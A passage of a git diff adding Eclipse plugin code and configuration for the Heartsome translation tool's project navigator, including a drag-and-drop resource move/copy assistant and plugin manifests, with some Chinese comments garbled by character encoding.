IResource)) { + return WorkbenchNavigatorPlugin + .createStatus( + IStatus.INFO, + 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_targetMustBeResource, + null); + } + IResource resource = (IResource) aDropTarget; + if (!resource.isAccessible()) { + return WorkbenchNavigatorPlugin + .createErrorStatus( + 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject, + null); + } + IContainer destination = getActualTarget(resource); + if (destination.getType() == IResource.ROOT) { + return WorkbenchNavigatorPlugin + .createErrorStatus( + 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings, + null); + } + + IResource[] selectedResources = getSelectedResources(aDragSelection); + + String message = null; + if (selectedResources.length == 0) { + message = WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_dropOperationErrorOther; + } else { + MoveFilesAndFoldersOperation operation; + + operation = new MoveFilesAndFoldersOperation(getShell()); + message = operation.validateDestination(destination, + selectedResources); + } + if (message != null) { + return WorkbenchNavigatorPlugin.createErrorStatus(0, message, null); + } + return Status.OK_STATUS; + } + + /* (non-Javadoc) + * @see org.eclipse.ui.navigator.CommonDropAdapterAssistant#handlePluginTransferDrop(org.eclipse.jface.viewers.IStructuredSelection, java.lang.Object) + */ + public IStatus handlePluginTransferDrop(IStructuredSelection aDragSelection, Object aDropTarget) { + + IContainer target = getActualTarget((IResource) aDropTarget); + IResource[] resources = getSelectedResources(aDragSelection); + + MoveFilesAndFoldersOperation operation = new MoveFilesAndFoldersOperation( + getShell()); + operation.copyResources(resources, target); + + if (target != null && target.isAccessible()) { + try { + target.refreshLocal(IResource.DEPTH_ONE, null); + } catch (CoreException e) { + } + } + return Status.OK_STATUS; + } + + /** + * Returns the actual target of the drop, given the resource under the + * mouse. If the mouse target is a file, then the drop actually occurs in + * its parent. If the drop location is before or after the mouse target and + * feedback is enabled, the target is also the parent. + */ + private IContainer getActualTarget(IResource mouseTarget) { + + /* if cursor is on a file, return the parent */ + if (mouseTarget.getType() == IResource.FILE) { + return mouseTarget.getParent(); + } + /* otherwise the mouseTarget is the real target */ + return (IContainer) mouseTarget; + } + + /** + * Returns the resource selection from the LocalSelectionTransfer. + * + * @return the resource selection from the LocalSelectionTransfer + */ + private IResource[] getSelectedResources() { + + ISelection selection = LocalSelectionTransfer.getTransfer() + .getSelection(); + if (selection instanceof IStructuredSelection) { + return getSelectedResources((IStructuredSelection)selection); + } + return NO_RESOURCES; + } + + /** + * Returns the resource selection from the LocalSelectionTransfer. + * + * @return the resource selection from the LocalSelectionTransfer + */ + private IResource[] getSelectedResources(IStructuredSelection selection) { + ArrayList selectedResources = new ArrayList(); + + for (Iterator i = selection.iterator(); i.hasNext();) { + Object o = i.next(); + if (o instanceof IResource) { + selectedResources.add(o); + } else if (o instanceof IAdaptable) { + IAdaptable a = (IAdaptable) o; + IResource r = (IResource) a.getAdapter(IResource.class); + if (r != null) { + selectedResources.add(r); + } + } + } + return (IResource[]) selectedResources + .toArray(new IResource[selectedResources.size()]); + } + + /** + * Performs a resource copy + */ + private IStatus performResourceCopy(CommonDropAdapter dropAdapter, + Shell shell, IResource[] sources) { + MultiStatus problems = new MultiStatus(PlatformUI.PLUGIN_ID, 1, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_problemsMoving, null); + mergeStatus(problems, validateTarget(dropAdapter.getCurrentTarget(), dropAdapter.getCurrentTransfer(), + dropAdapter.getCurrentOperation())); + + IContainer target = getActualTarget((IResource) dropAdapter.getCurrentTarget()); + + boolean shouldLinkAutomatically = false; + if (target.isVirtual()) { + shouldLinkAutomatically = true; + for (int i = 0; i < sources.length; i++) { + if ((sources[i].getType() != IResource.FILE) && (sources[i].getLocation() != null)) { + // If the source is a folder, but the location is null (a + // broken link, for example), + // we still generate a link automatically (the best option). + shouldLinkAutomatically = false; + break; + } + } + } + + CopyFilesAndFoldersOperation operation = new CopyFilesAndFoldersOperation(shell); + // if the target is a virtual folder and all sources are files, then + // automatically create links + if (shouldLinkAutomatically) { + operation.setCreateLinks(true); + operation.copyResources(sources, target); + } else { +// boolean allSourceAreLinksOrVirtualFolders = true; +// for (int i = 0; i < sources.length; i++) { +// if (!sources[i].isVirtual() && !sources[i].isLinked()) { +// allSourceAreLinksOrVirtualFolders = false; +// break; +// } +// } +// // if all sources are either links or groups, copy then normally, +// // don't show the dialog +// if (!allSourceAreLinksOrVirtualFolders) { +// IPreferenceStore store= IDEWorkbenchPlugin.getDefault().getPreferenceStore(); +// String dndPreference= store.getString(target.isVirtual() ? IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_VIRTUAL_FOLDER_MODE : IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_MODE); +// +// if (dndPreference.equals(IDEInternalPreferences.IMPORT_FILES_AND_FOLDERS_MODE_PROMPT)) { +// ImportTypeDialog dialog = new ImportTypeDialog(getShell(), dropAdapter.getCurrentOperation(), sources, target); +// dialog.setResource(target); +// if (dialog.open() == Window.OK) { +// if (dialog.getSelection() == ImportTypeDialog.IMPORT_VIRTUAL_FOLDERS_AND_LINKS) +// operation.setVirtualFolders(true); +// if (dialog.getSelection() == ImportTypeDialog.IMPORT_LINK) +// operation.setCreateLinks(true); +// if (dialog.getVariable() != null) +// operation.setRelativeVariable(dialog.getVariable()); +// operation.copyResources(sources, target); +// } else +// return problems; +// } +// else +// operation.copyResources(sources, target); +// } else + operation.copyResources(sources, target); + } + + return problems; + } + + /** + * Performs a resource move + */ + private IStatus performResourceMove(CommonDropAdapter dropAdapter, + IResource[] sources) { + MultiStatus problems = new MultiStatus(PlatformUI.PLUGIN_ID, 1, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_problemsMoving, null); + mergeStatus(problems, validateTarget(dropAdapter.getCurrentTarget(), dropAdapter.getCurrentTransfer(), + dropAdapter.getCurrentOperation())); + + IContainer target = getActualTarget((IResource) dropAdapter.getCurrentTarget()); + + boolean shouldLinkAutomatically = false; + if (target.isVirtual()) { + shouldLinkAutomatically = true; + for (int i = 0; i < sources.length; i++) { + if (sources[i].isVirtual() || sources[i].isLinked()) { + shouldLinkAutomatically = false; + break; + } + } + } + + if (shouldLinkAutomatically) { + CopyFilesAndFoldersOperation operation = new CopyFilesAndFoldersOperation(getShell()); + operation.setCreateLinks(true); + operation.copyResources(sources, target); + } else { + ReadOnlyStateChecker checker = new ReadOnlyStateChecker(getShell(), + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_MoveResourceAction_title, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage); + sources = checker.checkReadOnlyResources(sources); + + try { + RefactoringContribution contribution = RefactoringCore + .getRefactoringContribution(MoveResourcesDescriptor.ID); + MoveResourcesDescriptor descriptor = (MoveResourcesDescriptor) contribution.createDescriptor(); + descriptor.setResourcesToMove(sources); + descriptor.setDestination(target); + refactoringStatus = new RefactoringStatus(); + final Refactoring refactoring = descriptor.createRefactoring(refactoringStatus); + + returnStatus = null; + IRunnableWithProgress checkOp = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) { + try { + refactoringStatus = refactoring.checkAllConditions(monitor); + } catch (CoreException ex) { + returnStatus = WorkbenchNavigatorPlugin.createErrorStatus(0, ex.getLocalizedMessage(), ex); + }} + }; + + if (returnStatus != null) + return returnStatus; + + try { + PlatformUI.getWorkbench().getProgressService().run(false, false, checkOp); + } catch (InterruptedException e) { + return Status.CANCEL_STATUS; + } catch (InvocationTargetException e) { + return WorkbenchNavigatorPlugin.createErrorStatus(0, e.getLocalizedMessage(), e); + } + + /** Weachy:下行代ç ç”¨äºŽæµ‹è¯•å¼¹å‡ºé”™è¯¯å¯¹è¯æ¡† */ +// refactoringStatus.addFatalError(RefactoringCoreMessages.MoveResourcesDescriptor_error_destination_not_set); + + if (refactoringStatus.hasEntries()) { + RefactoringStatusEntry[] entries = refactoringStatus.getEntries(); + + StringBuffer message = new StringBuffer(); + int severity = 0; + for (RefactoringStatusEntry refactoringStatusEntry : entries) { + if (refactoringStatusEntry.getSeverity() > severity) { + severity = refactoringStatusEntry.getSeverity(); + message.replace(0, message.length(), refactoringStatusEntry.getMessage()); + } else if (refactoringStatusEntry.getSeverity() == severity) { + message.append("\n\n").append(refactoringStatusEntry.getMessage()); + } + } + + if (severity == RefactoringStatus.INFO) { + MessageDialog.openInformation(getShell(), WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_MoveResourceAction_title, message.toString()); + } else if (severity == RefactoringStatus.WARNING) { + boolean result = MessageDialog.openConfirm(getShell(), WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_MoveResourceAction_title, message.toString()); + if (!result) { + return Status.CANCEL_STATUS; + } + } else if (severity == RefactoringStatus.ERROR || severity == RefactoringStatus.FATAL) { + MessageDialog.openError(getShell(), WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_MoveResourceAction_title, message.toString()); + return Status.CANCEL_STATUS; + } else { + } + + /** + * Weachy: + * RefactoringUI 类需引入 org.eclipse.ltk.ui.refactoring æ’件, + * 而 org.eclipse.ltk.ui.refactoring æ’件会引入 + * org.eclipse.compareã€org.eclipse.team.coreã€org.eclipse.team.ui + * 三个æ’件。会导致在导航视图ã€é¦–选项等出现无用的功能项。因此注释以下4行代ç ã€‚ + */ +// Dialog dialog= RefactoringUI.createLightWeightStatusDialog(refactoringStatus, getShell(), WorkbenchNavigatorMessages.MoveResourceAction_title); +// int result = dialog.open(); +// if (result != IStatus.OK) +// return Status.CANCEL_STATUS; + } + + final PerformRefactoringOperation op = new PerformRefactoringOperation(refactoring, + CheckConditionsOperation.ALL_CONDITIONS); + + final IWorkspaceRunnable r = new IWorkspaceRunnable() { + public void run(IProgressMonitor monitor) throws CoreException { + op.run(monitor); + } + }; + + returnStatus = null; + IRunnableWithProgress refactorOp = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) { + try { + ResourcesPlugin.getWorkspace().run(r, ResourcesPlugin.getWorkspace().getRoot(), IWorkspace.AVOID_UPDATE, monitor); + } catch (CoreException ex) { + returnStatus = WorkbenchNavigatorPlugin.createErrorStatus(0, ex.getLocalizedMessage(), ex); + } + } + }; + + if (returnStatus != null) + return returnStatus; + + try { + PlatformUI.getWorkbench().getProgressService().run(false, false, refactorOp); + } catch (InterruptedException e) { + return Status.CANCEL_STATUS; + } catch (InvocationTargetException e) { + return WorkbenchNavigatorPlugin.createErrorStatus(0, e.getLocalizedMessage(), e); + } + + } catch (CoreException ex) { + return WorkbenchNavigatorPlugin.createErrorStatus(0, ex.getLocalizedMessage(), ex); + } catch (OperationCanceledException e) { + } + } + + return problems; + } + + /** + * Performs a drop using the FileTransfer transfer type. + */ + private IStatus performFileDrop(final CommonDropAdapter anAdapter, Object data) { + final int currentOperation = anAdapter.getCurrentOperation(); + MultiStatus problems = new MultiStatus(PlatformUI.PLUGIN_ID, 0, + WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_problemImporting, null); + mergeStatus(problems, + validateTarget(anAdapter.getCurrentTarget(), anAdapter + .getCurrentTransfer(), currentOperation)); + + final IContainer target = getActualTarget((IResource) anAdapter + .getCurrentTarget()); + final String[] names = (String[]) data; + // Run the import operation asynchronously. + // Otherwise the drag source (e.g., Windows Explorer) will be blocked + // while the operation executes. Fixes bug 16478. + Display.getCurrent().asyncExec(new Runnable() { + public void run() { + getShell().forceActive(); + new CopyFilesAndFoldersOperation(getShell()).copyOrLinkFiles(names, target, currentOperation); + } + }); + return problems; + } + + /** + * Ensures that the drop target meets certain criteria + */ + private IStatus validateTarget(Object target, TransferData transferType, + int dropOperation) { + if (!(target instanceof IResource)) { + return WorkbenchNavigatorPlugin + .createInfoStatus(WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_targetMustBeResource); + } + IResource resource = (IResource) target; + if (!resource.isAccessible()) { + return WorkbenchNavigatorPlugin + .createErrorStatus(WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject); + } + IContainer destination = getActualTarget(resource); + if (destination.getType() == IResource.ROOT) { + return WorkbenchNavigatorPlugin + .createErrorStatus(WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings); + } + String message = null; + // drag within Eclipse? + if (LocalSelectionTransfer.getTransfer().isSupportedType(transferType)) { + IResource[] selectedResources = getSelectedResources(); + + if (selectedResources.length == 0) { + message = WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_dropOperationErrorOther; + } else { + CopyFilesAndFoldersOperation operation; + if ((dropOperation == DND.DROP_COPY) || (dropOperation == DND.DROP_LINK)) { + operation = new CopyFilesAndFoldersOperation(getShell()); + if (operation.validateDestination(destination, selectedResources) != null) { + operation.setVirtualFolders(true); + message = operation.validateDestination(destination, selectedResources); + } + } else { + operation = new MoveFilesAndFoldersOperation(getShell()); + if (operation.validateDestination(destination, selectedResources) != null) { + operation.setVirtualFolders(true); + message = operation.validateDestination(destination, selectedResources); + } + } + } + } // file import? + else if (FileTransfer.getInstance().isSupportedType(transferType)) { + String[] sourceNames = (String[]) FileTransfer.getInstance() + .nativeToJava(transferType); + if (sourceNames == null) { + // source names will be null on Linux. Use empty names to do + // destination validation. + // Fixes bug 29778 + sourceNames = new String[0]; + } + CopyFilesAndFoldersOperation copyOperation = new CopyFilesAndFoldersOperation( + getShell()); + message = copyOperation.validateImportDestination(destination, + sourceNames); + } + if (message != null) { + return WorkbenchNavigatorPlugin.createErrorStatus(message); + } + return Status.OK_STATUS; + } + + /** + * Adds the given status to the list of problems. Discards OK statuses. If + * the status is a multi-status, only its children are added. + */ + private void mergeStatus(MultiStatus status, IStatus toMerge) { + if (!toMerge.isOK()) { + status.merge(toMerge); + } + } + + /** + * Opens an error dialog if necessary. Takes care of complex rules necessary + * for making the error dialog look nice. + */ + private void openError(IStatus status) { + if (status == null) { + return; + } + + String genericTitle = WorkbenchNavigatorMessages.resources_ResourceDropAdapterAssistant_title; + int codes = IStatus.ERROR | IStatus.WARNING; + + // simple case: one error, not a multistatus + if (!status.isMultiStatus()) { + ErrorDialog + .openError(getShell(), genericTitle, null, status, codes); + return; + } + + // one error, single child of multistatus + IStatus[] children = status.getChildren(); + if (children.length == 1) { + ErrorDialog.openError(getShell(), status.getMessage(), null, + children[0], codes); + return; + } + // several problems + ErrorDialog.openError(getShell(), genericTitle, null, status, codes); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/.classpath b/base_commons/net.heartsome.cat.common.ui.navigator/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/.project b/base_commons/net.heartsome.cat.common.ui.navigator/.project new file mode 100644 index 0000000..a975420 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui.navigator + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.ui.navigator/META-INF/MANIFEST.MF new file mode 100644 index 0000000..66b649b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common UI Nagivator +Bundle-SymbolicName: net.heartsome.cat.common.ui.navigator;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121115 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.ui;bundle-version="3.5.0", + org.eclipse.core.runtime;bundle-version="3.5.0", + org.eclipse.ui.navigator;bundle-version="3.4.0", + net.heartsome.cat.common.ui.navigator.resources +Import-Package: net.heartsome.cat.common.ui.handlers +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/build.properties b/base_commons/net.heartsome.cat.common.ui.navigator/build.properties new file mode 100644 index 0000000..3458e2c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + icons/,\ + plugin_en.properties,\ + plugin.properties,\ + plugin_zh.properties diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/icons/disabled_co.png b/base_commons/net.heartsome.cat.common.ui.navigator/icons/disabled_co.png new file mode 100644 index 0000000..c1e73ef Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator/icons/disabled_co.png differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/icons/enabled_co.png b/base_commons/net.heartsome.cat.common.ui.navigator/icons/enabled_co.png new file mode 100644 index 0000000..8ebb528 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator/icons/enabled_co.png differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/icons/filenav_nav.png b/base_commons/net.heartsome.cat.common.ui.navigator/icons/filenav_nav.png new file mode 100644 index 0000000..9c112c9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator/icons/filenav_nav.png differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/plugin.properties b/base_commons/net.heartsome.cat.common.ui.navigator/plugin.properties new file mode 100644 index 0000000..2cb0521 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/plugin.properties @@ -0,0 +1,5 @@ +views.navigator.category = \u5bfc\u822a +views.navigator.name = \u9879\u76ee + +menu.view.navigator = \u9879\u76ee +command.navigator = \u9879\u76ee \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/plugin.xml b/base_commons/net.heartsome.cat.common.ui.navigator/plugin.xml new file mode 100644 index 0000000..0ea1009 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/plugin.xml @@ -0,0 +1,215 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/plugin_en.properties b/base_commons/net.heartsome.cat.common.ui.navigator/plugin_en.properties new file mode 100644 index 0000000..b688b38 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/plugin_en.properties @@ -0,0 +1,5 @@ +views.navigator.category = Navigator +views.navigator.name = Project + +menu.view.navigator = Project +command.navigator = Project diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/plugin_zh.properties b/base_commons/net.heartsome.cat.common.ui.navigator/plugin_zh.properties new file mode 100644 index 0000000..2cb0521 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/plugin_zh.properties @@ -0,0 +1,5 @@ +views.navigator.category = \u5bfc\u822a +views.navigator.name = \u9879\u76ee + +menu.view.navigator = \u9879\u76ee +command.navigator = \u9879\u76ee \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.navigator/src/dont_delete b/base_commons/net.heartsome.cat.common.ui.navigator/src/dont_delete new file mode 100644 index 0000000..5f26496 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator/src/dont_delete @@ -0,0 +1 @@ +don't delete \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/.classpath b/base_commons/net.heartsome.cat.common.ui.shield.help/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/.project b/base_commons/net.heartsome.cat.common.ui.shield.help/.project new file mode 100644 index 0000000..94ef21f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui.shield.help + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.ui.shield.help/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..7855e39 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 17:53:27 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.ui.shield.help/META-INF/MANIFEST.MF new file mode 100644 index 0000000..601c0cb --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/META-INF/MANIFEST.MF @@ -0,0 +1,8 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common UI Shield Help +Bundle-SymbolicName: net.heartsome.cat.common.ui.shield.help;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121112 +Fragment-Host: net.heartsome.cat.common.ui.shield;bundle-version="1.0.0" +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/build.properties b/base_commons/net.heartsome.cat.common.ui.shield.help/build.properties new file mode 100644 index 0000000..ca9eacb --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + fragment.xml diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/fragment.xml b/base_commons/net.heartsome.cat.common.ui.shield.help/fragment.xml new file mode 100644 index 0000000..0a87d02 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/fragment.xml @@ -0,0 +1,13 @@ + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.help/src/dont_delete b/base_commons/net.heartsome.cat.common.ui.shield.help/src/dont_delete new file mode 100644 index 0000000..5f26496 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.help/src/dont_delete @@ -0,0 +1 @@ +don't delete \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/.classpath b/base_commons/net.heartsome.cat.common.ui.shield.resources/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/.project b/base_commons/net.heartsome.cat.common.ui.shield.resources/.project new file mode 100644 index 0000000..3db6175 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui.shield.resources + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.ui.shield.resources/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..1baa32f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 17:55:17 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.ui.shield.resources/META-INF/MANIFEST.MF new file mode 100644 index 0000000..e3606bb --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/META-INF/MANIFEST.MF @@ -0,0 +1,8 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common UI Shield Resources +Bundle-SymbolicName: net.heartsome.cat.common.ui.shield.resources;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121112 +Fragment-Host: net.heartsome.cat.common.ui.shield;bundle-version="1.0.0" +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/build.properties b/base_commons/net.heartsome.cat.common.ui.shield.resources/build.properties new file mode 100644 index 0000000..ca9eacb --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + fragment.xml diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/fragment.xml b/base_commons/net.heartsome.cat.common.ui.shield.resources/fragment.xml new file mode 100644 index 0000000..0b3774b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/fragment.xml @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.resources/src/net/heartsome/cat/common/ui/shield/resources/ShieldIDECommandStartup.java b/base_commons/net.heartsome.cat.common.ui.shield.resources/src/net/heartsome/cat/common/ui/shield/resources/ShieldIDECommandStartup.java new file mode 100644 index 0000000..8ea5200 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.resources/src/net/heartsome/cat/common/ui/shield/resources/ShieldIDECommandStartup.java @@ -0,0 +1,20 @@ +package net.heartsome.cat.common.ui.shield.resources; + +import java.util.Set; + +import net.heartsome.cat.common.ui.shield.AbstractShieldCommandStartup; + +/** + * 在工作å°åˆå§‹åŒ–åŽï¼Œç§»é™¤ä¸éœ€è¦ç”¨åˆ°çš„ ide(org.eclipse.ui org.eclipse.ui.views org.eclipse.ui.workbench.texteditor æ’件æ供) command。 + * @author cheney + * @since JDK1.6 + */ +public class ShieldIDECommandStartup extends AbstractShieldCommandStartup { + private final static String CONF_FILE_PATH = "/unusedIDECommand.ini"; + + @Override + protected Set getUnusedCommandSet() { + return readUnusedCommandFromFile(CONF_FILE_PATH); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/.classpath b/base_commons/net.heartsome.cat.common.ui.shield.workbench/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/.project b/base_commons/net.heartsome.cat.common.ui.shield.workbench/.project new file mode 100644 index 0000000..37dc691 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui.shield.workbench + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.ui.shield.workbench/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..e247ad8 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 17:56:01 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.ui.shield.workbench/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.ui.shield.workbench/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2c2d78e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.shield.workbench/META-INF/MANIFEST.MF @@ -0,0 +1,8 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common UI Shield Workbench +Bundle-SymbolicName: net.heartsome.cat.common.ui.shield.workbench;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121112 